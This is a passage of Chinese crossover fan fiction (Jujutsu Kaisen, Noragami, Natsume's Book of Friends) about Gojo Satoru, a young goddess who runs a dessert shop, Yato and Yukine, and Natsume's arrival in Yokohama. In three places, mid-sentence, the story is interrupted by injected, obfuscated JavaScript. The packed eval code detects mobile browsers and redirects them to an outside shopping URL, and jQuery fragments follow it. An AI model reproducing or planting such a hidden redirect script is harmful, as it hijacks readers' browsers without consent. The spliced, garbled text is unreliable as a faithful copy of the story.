他以为那面具之人要废好大一番力气,结果对方跟耍小孩似的,灵巧地穿梭在咒灵的攻击间,用软刀砍下咒灵的四肢。 接着—— 面具之人竖起软刀,嘴里念叨着像咒文一样的语言,顷刻间特级咒灵哀嚎着消失了。 空中落下雪一样的白色光点,在夏季的热风中摇曳。 他捕捉到那咒文当中的词汇,眸中划过探究的神色。 丰月神……? 难不成传说是真的? 五条悟将墨镜推到头顶,将咒力集中到被称为“六眼”的双瞳上。通过精细的观察分析,得出那面具之人是灵体的结论。 蓦地,他露出兴味的笑容。 “哇哦,真的是神明啊。” “咒术师从未遇见的神明,竟然被我碰上了。” 面具之人摘下面具,精致漂亮的五官展现在他的眼里。 那是一名十八岁左右的少女,一头柔顺的棕色长发,棕眸里荡起微微笑意。 “明天爸爸妈妈要到这附近,要是被这个咒灵盯上就不好了。” 她低头垂眸,对手中的武器说话。 下一瞬,她手中的武器变成一名少女。 那少女拥有记忆中熟悉的五官,她扬起灿烂的笑容,与面具之人交谈。 此刻,五条悟睁大眼眸,大脑一片空白。 他用极快的速度出现在少女面前,抓住她的肩膀,“你是天内理子对吧?” 天内理子露出惊诧的神色,下一瞬双眸失神,捂住心口跪倒在地。 与此同时,棕发少女抬脚将他踹飞了出去。 五条悟:??? 他脑袋冒出了三个问号。 开着无下限术式的他竟然被踹飞了……? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16818367|190519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >而且还是实打实地踢在了肚子上。 五条悟大为震撼。 “你他吗有病啊——” 棕发少女气急败坏地骂道。 五条悟调整降落的姿态,在半空用术式快速回到那两位少女面前。 本该死亡的天内理子颤抖着抱住上身,嘴里不停发出细碎的声音。 “我想活下去,我想活下去啊……” 强大的咒力从天内理子身上溢出,那好看周正的五官突然生出了怪物的眼球。 “理镜!” 棕发少女将天内理子抱住,用惊慌和颤抖的语气不停呼唤她。 “啊——!!!” 天内理子发出痛苦的喊叫,后背生出一双黑色翅膀。 翅膀上蓦然睁开许多眼球,瞳孔四处漂移。 棕发少女的脸和双手被紫色瘢痕侵染,很快她身上覆盖白色光泽,将紫色瘢痕净化。 五条悟察觉到那股能将咒力净化的力量,瞬间解答了他心中的疑问。 只是…… “你们还好吗?” 他语气迟疑地问道。 没有回答。 五条悟用肉眼就能判断出这两人不太妙,忽然变得嘴笨起来。 虽然搞不清状况,但他意识到这似乎是自己喊了天内理子的名字导致的。 “你这个混蛋!为什么要喊出她的名字啊!” “好不容易……理镜在我身边那么开心地度过这几年,为什么要再次夺走她的生命!” “变成神器的灵魂,知道自己本名的话,会变成咒灵的!” 棕发少女声嘶力竭的话一字一句敲在五条悟心里。 他微微张唇,通透晶莹的蓝眸探知到棕发少女身上的力量以极快的速度被消耗。 不仅是这股净化的力量,还有生命力。 棕发少女用她身上泛着白光的力量,一遍又一遍地覆盖天内理子身体。 天内理子咒灵化的速度开始减缓,棕发少女身上的紫色瘢痕出现又消失。 “不要夺走我的家人啊……” 棕发少女哽咽出声,额角满是冷汗,嘴唇如雪一样苍白。 五条悟睁大眼眸,他突然冒出一个疯狂的想法。 他按住棕发少女的肩膀,对神明使用了反转术式。 “没事哦,我不会让你消失。” 反转术式是负能量的咒力正向使用的结果,跟属于正能量的净化相结合产生了奇迹,化成正能量的粒子填补灵体的亏空。 术式成功,棕发少女的灵体从不安定的状态变得稳定不少。 但随着她身上力量持续不断大幅度的输出,很快又变成即将消散的状态。 于是,在五条悟持续不断地反转术士中,这种状态陷入循环。 “够了……小月,不要再继续了……” “放开我吧。” 天内理子双眸含泪,抚上棕发少女的脸庞。 她弯眉一笑,释然道:“我早就死了,因为小月多活了三年,已经很幸运了。” 天内理子身上咒灵化的特征不断消失,又不断显现。 棕发少女摇了摇头,因忍受极大痛苦而无比苍白的脸上神色坚定,棕眸焕发极具生命力的光彩。 “那就继续幸运下去吧!” 棕发少女斩钉截铁道。 明明痛苦在她的身上盘旋往复,她却能保持清醒,没有被疼痛击垮。 挺疯的呢。 五条悟喜欢棕发少女眼中的神采。 这样的神明,有意思得很。 “坚持住,只要你的净化某一瞬间的输出快过咒灵化重复的开始,就能毁掉这种力量循环。” 五条悟察觉到净化与咒灵化之间重复的频率,将自己发现的规律道出来。 棕发少女没有怀疑,直接无限加大净化之力的输出,终于成功吞噬咒灵化现象,将天内理子救了下来。 但是,棕发少女的神力彻底透支,身上泛起金色光点。 五条悟怔怔然看着被掏空的灵体,濒临消散。 天内理子哭泣出声,握住棕发少女的双手,“小月,不要消失!求求你,不要消失!” “悟,快,成为丰月神的信徒,这样小月就……” “理子。” 棕发少女轻轻一笑,道:“没用的……接下来大概会换代吧。” 换代。 五条悟瞬间理解了这个词语,他握住棕发少女的手腕,加大咒力的输出。 可这回,反转术式失败了。 由于刚才一次性的庞大输出,棕发少女的净化之力彻底用尽。 “啧。” 他眉头紧蹙,看着天内理子期待的眼眸移开视线,心里产生丝丝愧疚感。 “反转术式,不起作用了。” 天内理子抱住棕发少女,肩膀颤抖,“不要消失,如果可以,我情愿代替小月去死。” 这句话说出口的瞬间,她身上覆盖金色的光泽,化为一柄形似长剑的武器。 叶片型的刀刃组成剑身,形成锯齿状,在阳光下闪着锋利的光。 一股奇妙的力量涌入棕发少女体内,将她即将瓦解的灵魂稳固下来。 天内理子的武器形态改变了,就像升级一般,连同使用者的力量也拔高一阶。 棕发少女呆呆地伸手握住新的武器,忽然哇地一声,大声哭泣。 “呜呜呜——理子,你竟然愿意为了我变成祝器……太感动了……” 顿时,五条悟有些哭笑不得。 重点不是你差点死了吗? 棕发少女哭得梨花带雨,感动得一塌糊涂。 或许,还有劫后余生的庆幸。 他擦去额角的汗水,缓缓吐出一口气。 因为一直使用对他人不断重复使用反转术式,因此体内的咒力几乎被掏空。 “皆大欢喜皆大欢喜,谁也没有死。” “不愧是我,就连神明都能救。” 怎料,棕发少女和天内理子额角跳起,满含怒意瞪了他一眼。 “本来就是因为你才弄成这样的好吗——” 责备的声音在上空不断回响。 五条悟哈哈笑了两声,心虚地抬手抚过鼻尖。 * 五条悟从回忆里抽出来,他看向正在为客人上餐食的理子和清月,唇边勾起温柔的弧度。 有她们在的地方就不会有咒灵,因此他可以取消无下限,得到短暂的休息。 他切下一块蛋糕放进嘴里,舌尖充斥着奶油蕴含的清新豆香,甜味中还夹杂微微的咸,包裹其中的蛋糕胚湿润绵密,结合蛋糕胚之间的豆乳奶油,形成一种清新温柔的创新风味。 风铃叮铃作响,窗外飘来浅淡的樱花香气。 暖阳落在窗户上,在脸上留下滚烫的印记。 五条悟吃完蛋糕,大脑神经的放松使得困意渐渐袭来。 他趴在桌子上拉下眼罩,在阳光中阖上双眼,呼吸平缓地进入梦乡。 18.甜品屋(七) 18 周末的清晨,时光甜品屋。 我和蜜璃将热气腾腾的面包放进展示柜里,按照标签分类摆好。 理子打开店门,双手叉腰,闭上眼睛深呼吸,感受此刻新鲜的空气。 我掏出手机,打开短信界面,一条信息在一周前发出去后没有得到回复。 【夜斗,甜品屋开业啦,给你免费哦~】 “夜斗这段时间又在哪里晃悠了?” 我低声呢喃,对此见怪不怪。 蜜璃看过来,笑弯眉眼,想起夜斗跳脱的性格,说:“说不定在东京的某个地方,正在积极地宣传自己呢。” “不用担心,失联是常有的事情,每次重新出现的时候都活蹦乱跳的。” 正如蜜璃所说,夜斗常在东京那边活动,忙于宣传自己和实现人类的愿望,时不时失联是常有的事情。 我垂下眼眸,抿紧唇轻轻点头。 我知道,夜斗每次消失的时候,都在执行他的“父亲”指派的任务。 “希望他不要受伤才好。” 我无声呢喃。 我和夜斗的相识是在当年我成为丰月神的第二天。 夜斗和他的好朋友惠比寿小福出现在我的面前,强硬将我拉到小福的住处,说目睹了三隅山的事,并热情介绍自己。 接着,就给我灌输一堆高天原的事情。 就像我最开始所想的那般,夜斗和小福表达的重点是如果不强硬点,高天原的老古董们会得寸进尺,最后失去人类的身份。 他们都是温柔的神明,明明我与他们非亲非故,却担心刚成为人神的我会不会适应不良。 我看出他们的用心,以真心换真心,与他们交朋友。 后来,我把好友蜜璃、小樱、知世、莓铃还有李小狼都介绍给了夜斗他们。 没想到大家格外投缘,很快打成一片,时不时就约着一起聚在小福家,热热闹闹地吃关东煮。 这些年,夜斗是我的剑术师父之一。 每次假期从巴黎回来,我都会在半夜灵体出窍,找他特训。 因此,虽然夜斗总是那样跳脱的性子,但我在心里对他留有一份师父的尊敬。 我想让夜斗与更多的人类成为朋友,产生牵绊,这样他就不用时刻担心自己会消失。 这也是我将蜜璃他们介绍给夜斗认识的初心。 我希望,有更多的人类能够记住他。 毕竟我的朋友们多多少少都有些特殊的体质,所以就算长时间没见到夜斗,也不会忘记他。 为此,夜斗曾经没骨气地在我们面前感动得满脸泪水。 突然,手机铃声响起。 我回过神来,慌忙接通电话,爸爸的声音透过听筒传来。 “喂,爸爸?” “贵志君已经出发了,要好好照顾他哦。” “好——” 通话结束后,我将手机放在吧台上,期待地笑了笑。 蜜璃双手合十,健康红润的脸上浮现开心的神色。 “今天就能见到小月的弟弟夏目君吗?” 理子勾唇笑道:“嘛,看起来是个瘦弱的少年,不过脸长得很漂亮呢。” 以前当我放假回家的时候,理子会回高天原住,偶尔会以朋友的名义来家里做客,所以爸爸妈妈知道理子的存在。 但因为神器极低的存在感,因此每次都要重新介绍一遍。 过年的时候她在我们家吃饭,与夏目贵志打了个照面。 我笑出声来,抱起双臂看着她们。 “这次要跟我住半个月,大概是爸爸妈妈想借此机会让我们互相熟悉吧。” 夏目贵志是去年夏天加入我家的,由于那时候还在国外,所以我对夏目贵志这个弟弟,见面机会极少。 为了迎接他的到来,我将他的房间收拾好,铺上新的被褥,各类生活用品也安排得妥妥当当。 许是我在心里念叨夜斗多了,不久店门被推开,熟悉的声音响起。 “清月,为不辜负你的盛情邀请,我马不停蹄地来了——” “喂,夜斗,我们可没那么多钱。” 夜斗拉着一名少年,一溜烟跑到我和蜜璃面前,脸上满是得意。 他小小声道:“清月,蜜璃,这就是雪音,我的新神器,怎么样?” 夜斗一副求夸赞的模样,让我忍俊不禁。 理子露出惊讶的神色,说:“夜斗先生,你终于出现了。” “伴音呢?” 她看向夜斗身后,没瞧见熟悉的身影。 刹那间,夜斗鼓起脸颊,不满道:“伴音现在在天神那里,改名叫真喻了。” 理子嘴角一抽,抬手扶额。 “果然,连她都在你手下干不久啊……” 夜斗:“……呜呜。” 蜜璃抬手摸摸夜斗的脑袋,安慰:“夜斗先生,不要难过,现在不是有雪音了吗?” 我打量雪音,是个十四岁左右的少年,皮肤白皙,金黄色的发丝凌乱翘起。 雪音眉间划过不耐烦的神色,并没有搭理夜斗。 他环视店内,最后定格在展示柜里的甜品上。 雪音怔了怔,垂下眼眸眼里浮现不甘的神色。 我微微抿唇,结合前世的记忆,看出现在的雪音大概是不太听话的状态。 “是不是很可爱?而且跟我很有默契,还是我惯用的太刀。” “嘛,确实是很可爱的孩子。” 夜斗和蜜璃的对话传入耳中,我看着夜斗眼里的兴奋,不忍拂了他的兴致,缓缓开口:“看起来是个好孩子。” “对吧对吧——” 雪音一怔,避开大家的视线,眉间露出惭愧的情绪。 夜斗动作一顿,捂住心口,瞬间脸色煞白。 我微微一怔,恍然注意到夜斗苍白的神色。 “夜斗,你……” 夜斗打断我的话,喊道:“清月,蜜璃,我要吃舒芙蕾。” “你说的免费哦!” 见他不愿多说,我没有多问。 “如果有紧急情况,记得联系我。” 夜斗一怔,天蓝色的双眸颤了颤。 “嗯。” 他勾起唇角,兴致高昂道:“雪音,看见了吗?这就是我的弟子清月,丰月神。” 雪音睁大眼眸,不可思议道:“她明明是人类啊?” “是人类,也是神哦。” 理子双手叉腰,看着雪音替我回答,“还有,我是小月的神器。” 雪音恍然失神,脸上浮现羡慕的神色。 “……真好。” 夜斗咬进下唇,眉头皱得更紧。 他扯住雪音的外套兜帽,随意在墙边的位置坐下。 蜜璃拿出制作舒芙蕾的机器放在吧台上预热,从烘焙室里拿出调好的面糊放在一旁。 “总觉得夜斗先生好像身体不太舒服,脸色那么苍白。” 我见机器温度上来,将面糊挤在铁板上,瞬间奶香味弥漫。 “嗯……夜斗被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16819464|190519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雪音刺伤了。” 我心不在焉答道。 蜜璃睁大眼眸,匆忙问:“那岂不是很痛苦?” 我无声叹气,沉默一阵后继续道:“夜斗刚才没提,应该还是想给雪音机会。” “没事的,不得已的时候还有我呢。” “而且,我相信雪音可以通过考验。” 我扬眉一笑,望进蜜璃担忧的眼眸里。 “嗯。” 蜜璃温柔回应。 “舒芙蕾,舒芙蕾~~~” 夜斗坐在座位上摇头晃脑,时不时投来期待的目光。 “对了,我最近认识了一个人类,叫日和。” 在我和蜜璃做舒芙蕾的期间,夜斗絮絮叨叨地说起关于日和的事情。 蜜璃似乎是嗅到了恋爱的味道,悄悄在我耳边道:“夜斗先生是不是对日和酱有好感?” “一直提起她,八成是了。” 我将切好的芒果放在舒芙蕾上,轻笑出声。 当淋满海盐奶盖的舒芙蕾摆上桌上时,夜斗两眼放光,迫不及待切下一块放进嘴里。 “就是这个味道!” 他竖起大拇指,兴奋得脸颊泛红。 理子无奈一笑,“夜斗先生有时候真像个小孩。” 雪音看着舒芙蕾顶部浸润在白色奶盖中的芒果,见夜斗吃得沉浸其中,好奇地吃下一口。 浓郁的蛋奶香味占据整个舌尖,包裹海盐风味的奶盖在舌苔滑动,芒果的酸甜与香草的清新融入到面胚中,清爽不甜腻。 “好好吃——” 雪音一口接一口往下咽,在这一刻,似乎内心的嫉妒和不甘烟消云散,只剩品尝甜点时的愉悦。 夜斗放下勺子,缓缓勾起唇角,带冷色的双眸被温情融化,透出丝丝柔和。 身体被刺伤的疼痛消停了,恙似乎褪去了一些。 他垂眸看着盘中的舒芙蕾,捕捉到里面蕴含的净化之力。 “谢谢,清月。” 我看向夜斗,弯眉一笑,“不用客气。” 风铃摇来晃去,夜斗与雪音相伴踏出店外。 夜斗驻足在窗外,我站在吧台前望进他的双眸里。 他露出一抹笑容,说:“不用担心。” “嗯。” 我温声回应。 * 车站,电车缓缓停下,阀门打开,人流蜂拥而出。 夏目贵志被人流挤出来,踉跄两步站稳。 “横滨这么热闹啊……” 他抓住斜跨包的背带,右手拉着行李箱松了口气。 夏目贵志看向沉甸甸的背包,拉开拉链悄悄打开衣角。 一只三花纹样的胖猫从包里探出脑袋,四处环顾扫视周围。 “气息很复杂呢,不愧是容易聚集咒灵的城市。” “喂,夏目,这段时间小心点,最好晚上不要出门。” 胖猫发出声音,眼睛眯成半月形。 夏目贵志一惊,按住胖猫的脑袋往包里塞。 “猫咪老师,不要乱说话!” 他察觉到旁人诧异的视线,只能讪讪笑着解释说是腹语。 夏目贵志跑出车站,站在路边撑着膝盖喘气。 “猫咪老师,你该减肥了,真的好重……” 他擦去额角的汗水,埋怨道。 “噗咻——” 猫咪老师鼻子冒出水泡,双眸紧闭。 夏目贵志抬手扶额,深深叹气。 “不要在这时候装睡啊。” 19.甜品屋(八) 19 因为是周末,路上的人流比往常多了不少,尤其是横滨一带,不少国外企业和工厂在这扎根,许多白领在这边生活。 夏目贵志走在路上,好奇地观察横滨的街道。 他这是第一次来,而今天来这里的目的是去塔子阿姨在横滨的住宅,也是清月姐姐现在住的地方暂住。 滋叔叔见他放春假,申请了十四天的休假,带塔子阿姨去国外旅游观光了。 于是,他就被长辈安排到清月姐的家里,将在横滨度过整个春假。 “滋和塔子还真是恩爱呢。” 猫咪老师感叹道。 “是啊,希望他们可以度过一个愉快的二人世界。” 夏目贵志扬起笑颜,温声说。 猫咪老师打了个哈欠,用爪子挠挠脸颊,“我猜,他们也想借此机会,让你跟藤原清月好好相处,互相熟悉吧。” 行李箱的轮子在地面发出咕噜声,夏目贵志看向路旁的樱花,轻声回应。 “大概吧。” 猫咪老师左看看右看看,慢慢放松紧绷的身体。 “奇怪,像横滨这种地方,街上看见一两只咒灵都不稀奇,现在居然没有。” “被清理的很干净,而且只有晚上才敢出来活动么……” 夏目贵志听见猫咪老师的话,这才发觉一些不一样的地方。 “确实,跟东京比起来,那些怪物好像不敢轻易出来。” 忽然,手机不断振动。 夏目贵志见屏幕上的来电名字是“清月姐”,赶紧接通电话。 “贵志君?” “嗯,清月姐姐。” 他面露羞色,不好意思地喊道。 手机那头传来清月姐的声音,还有一些嘈杂的说话声。 “到车站了吗?路上还好不?” “到了,不用担心,顺利到达。” “那就好。抱歉,姐姐现在店里很忙走不开,姐姐的朋友们也要上班,不能过去接你。” “没关系,我可以看地图软件走过去的。” “路上小心哦,有什么事给我打电话,姐姐一定放下所有过去帮你!” 关切的声音落入耳中,夏目贵志不禁微微笑着,心里升起暖意。 “嗯,谢谢。” 通话结束,夏目贵志改变主意,打开地图软件更改目的地。 原本他计划直接到屋里收拾行李,去超市买菜等待清月姐姐忙完回来。 但他听见通话里忙碌杂乱的声音,决定先去姐姐的店里帮忙,帮她分担一些。 “在姐姐那里不要说话,听见了吗?” 夏目贵志顺着地图走进人少的居民区,见路上没人,立刻压低声音再三叮嘱。 “我知道了,啰嗦。” 猫咪老师用爪子搭住下巴,在阳光的照耀下睡意朦胧。 夏目贵志额角跳起,握拳敲在猫咪老师脑袋上。 “真的听进去了吧?” “都说知道了!臭小鬼!” 猫咪老师瞪圆眼睛,抱住脑袋不满地撇撇嘴。 “说起来,我还没见过你那姐姐呢。” 夏目贵志想起过年之时,猫咪老师跑出去一周没回来,顿时叹了一声。 “谁让你那时候跑出去鬼混。” “那几天你们家有神力笼罩,虽然不知道是哪方神明庇佑,但总归不会被妖怪骚扰,所以我才那么放心地出去喝酒。” 猫咪老师大概是想起酒的味道,脸上泛起红晕。 夏目贵志沉吟一声,点了点头。 “确实,那几天妖怪们很安分呢。” “从去年夏天开始就当你的保镖,24小时随时看护,还没有假期,过年我自己给自己放个假怎么了?” “嗨嗨,真是辛苦了。” “夏目,快告诉我,那个小丫头是怎样的人?看你们的合照,是个美人呢,跟塔子年轻时候很像。” 夏目贵志听见猫咪老师理直气壮的话,无奈地笑了笑。 他不紧不慢地往前走,说起收养家庭里的姐姐。 “清月姐姐常年在法国,过年和寒暑假才回家。回来常住,也是今年定下来的事情。” “说起来,我也是今年过年的时候才第一次见到她,毕竟刚被收养的时候暑假刚刚结束,清月姐姐回法国了。听塔子阿姨说,她虽然毕业答辩结束,但在巴黎还有一些事情要处理。” “过完年很快就去横滨筹备开店的事情,不像猫咪老师,姐姐很忙的。” “喂,你别把我说得跟街头混混一样。” 猫咪老师反驳出声,结果得到了夏目贵志一个微妙的眼神。 猫咪老师:“……” “虽然只短短相处了一周,但给我的感觉很温柔,性格很好,不愧是滋叔叔和塔子阿姨的女儿。” “所以,我绝对不能给她添麻烦。” 夏目贵志声音沉静,眉间划过坚定的神色。 “哼。” 猫咪老师再次闭上眼睛,鼻子发出“噗咻”的呼噜声。 夏目贵志刚走出居民区的小道,就被一个人撞倒。 行李箱与地面发出响亮的碰撞声,四个轮子不停转动。 猫咪老师被突然的冲击撞飞,Duang的一下摔到路边。 夏目贵志摔倒在地,手肘重重蹭到地面,溢出血丝。 他倒吸一口凉气,捂住手肘朝前方看去。 一个四十岁的壮年男人戴着鸭舌帽,穿着一身黑色运动服,脸上尽是慌张的神色。 “小子,算你倒霉。” 男人抓住夏目贵志的衣领,将他提起来挡在身前,拿出折叠刀抵在他的脖子上。 夏目贵志仰起脖子,感受到皮肤上刀的锋利,紧张地吞咽口水。 猫咪老师睁大眼眸,毛发炸起,跳到男人面前低吼。 猫咪老师眼里闪过杀意,正要跳起来将歹徒踹开,忽然一道阴影笼罩。 他一抬头,便看见一个人影迅速降落。 “砰——!!!” 挟持夏目贵志的歹徒没来得及反应,直接被踹飞出去,直直撞在路边的草丛里。 喵咪老师瞪圆了眼睛,看向前方从天而降的人。 这是一个约莫二十出头的男人,拥有一头醒目的赭发,白色T恤外套了一间黑色短皮衣,黑色长裤下是一双马丁靴。 赭发男人按住头上的黑礼帽,眉头紧蹙,淡淡道:“少年,你没被吓坏吧?” 夏目贵志恍然回神,立刻道谢:“是,谢谢您的出手相助。” 警笛声响起,赭发男人抓住夏目贵志的手腕,拎起他的行李箱加快脚步离开。 夏目贵志露出惊讶的神色,急匆匆跟上他的步伐。 猫咪老师见状,小短腿踩出风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16823415|190519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 火轮的速度,跳到夏目贵志肩上。 “这位先生?” 夏目贵志一个踉跄,被猫咪老师的重量弄得险些绊倒。 “你不想被警察带去做笔录的话就乖乖跟我走。” “那个挟持你的男人指甲盖里藏有白色粉末,眼睛下方有很深的黑眼圈,看似肌肉发达,实则体虚得不行,想必是吸食了不该吸食的东西,。” “应该是被警察追得穷途末路,就想挟持你逃跑。被无辜卷进来的你,就算是无关系者,也会被警察留下喝很长一段时间的茶。” 赭发男人在海滨公园商业街的街口停下脚步,松开他的手腕看过来。 “真是的,难得休息,结果出来就看见这么令人讨厌的画面。” 夏目贵志了解赭发男人的用心,扬眉笑道:“原来如此,真的谢谢你。” 被带去警察局的话,清月姐姐肯定会被喊过去。 那样,一定会给她带来麻烦。 还好有这位热心人的帮助,避免了一切的发生。 “在这里等会。” 赭发男人抛下一句话,转头走进旁边的便利店。 很快,他手里拿着创可贴走出来。 “给,自己贴上。” 赭发男人指向夏目贵志的手肘,提醒道。 夏目贵志后知后觉,接过创可贴小心贴到创伤处。 “谢谢,你真温柔呢。” 他笑弯眼眸,眼里充满感激。 赭发男人微微一怔,蓝眸一瞬失神。 他几不可闻地叹气,“你怎么跟那家伙说一样的话。” 赭发男人将行李箱推过去,道:“去你该去的地方。” 夏目贵志匆忙按住滑动的行李箱,再次道谢。 赭发男人看向猫咪老师,“你到底给这只猫吃了什么,长这么胖。” 猫咪老师迅速跳起来给了他一爪子。 赭发男人往后闪开,讶异地说:“居然听得懂么,脾气还挺大。” 夏目贵志额角跳起,抓住猫咪老师怒道:“猫咪老师,不可以对救命恩人这么无礼!” 猫咪老师扑棱四肢,一副怒气冲冲的样子。 赭发男人转身向前走去,阳光拉长他的影子。 夏目贵志低头打开手机,在地图软件查看一番,发现甜品屋就在这条街的末尾。 于是,他一路跟在赭发男人后面。 赭发男人停下脚步,回头看来。 “同路?” 夏目贵志不好意思地点点头。 赭发男人看向前方的甜品屋,道:“我去那里。” 夏目贵志怔了怔,笑道:“好巧,我也要去那里。” 赭发男人挑起眉头,指着行李箱说:“拖着个行李箱?” 夏目贵志颔首,抬手挠了下脸颊。 “那是我家姐姐的店,想着过来帮忙,所以……” 怎料,赭发男人露出惊讶的神色。 他上前一步,凑到夏目贵志眼前观察。 “难怪我觉得你身上有种莫名熟悉的特质,你姐是藤原清月?” 夏目贵志被他盯得开始紧张,连连点头。 赭发男人不知为何面露无奈,抬手抚额叹了口气。 “我跟你们姐弟俩还真是有缘。” 夏目贵志:“……诶?” 猫咪老师眨眨眼睛:“喵?”